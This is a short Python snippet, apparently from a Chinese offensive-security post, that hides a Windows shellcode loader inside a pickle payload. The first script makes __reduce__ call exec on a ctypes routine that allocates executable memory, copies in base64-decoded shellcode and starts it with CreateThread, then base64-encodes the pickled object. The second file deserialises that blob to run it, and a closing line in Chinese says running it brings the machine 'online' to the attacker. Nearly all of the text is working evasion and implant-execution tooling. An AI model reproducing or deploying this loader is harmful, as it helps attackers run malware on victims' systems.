import pickle import base64 shellcodeloader = """ import ctypes,base64,time #这里不能直接存在空字节,反序列化的时候会出错,所以要处理一下 shellcode = base64.b64decode(b'/EiD5PDoyAAAAE....') shellcode = codecs.escape_decode(shellcode)[0] shellcode = bytearray(shellcode) ctypes.windll.kernel32.VirtualAlloc.restype = ctypes.c_uint64 ptr = ctypes.windll.kernel32.VirtualAlloc( ctypes.c_int(0), ctypes.c_int(len(shellcode)), ctypes.c_int(0x3000), ctypes.c_int(0x40) ) buffered = (ctypes.c_char * len(shellcode)).from_buffer(shellcode) ctypes.windll.kernel32.RtlMoveMemory( ctypes.c_uint64(ptr), buffered, ctypes.c_int(len(shellcode)) ) handle = ctypes.windll.kernel32.CreateThread( ctypes.c_int(0), ctypes.c_int(0), ctypes.c_uint64(ptr), ctypes.c_int(0), ctypes.c_int(0), ctypes.pointer(ctypes.c_int(0)) ) ctypes.windll.kernel32.WaitForSingleObject(ctypes.c_int(handle),ctypes.c_int(-1)) """ class AAA(object): def __reduce__(self): return (exec, (shellcodeloader,)) seri = pickle.dumps(AAA()) seri_base64 = base64.b64encode(seri) print(seri_base64)
unserialize_shellcodeloader.py
import base64,pickle shellcodeloader = b'gASVwgcAAAAAAACMCGJ1aWx0aW5zlIwEZX............' pickle.loads(base64.b64decode(shellcodeloader))
运行上面代码,即可上线: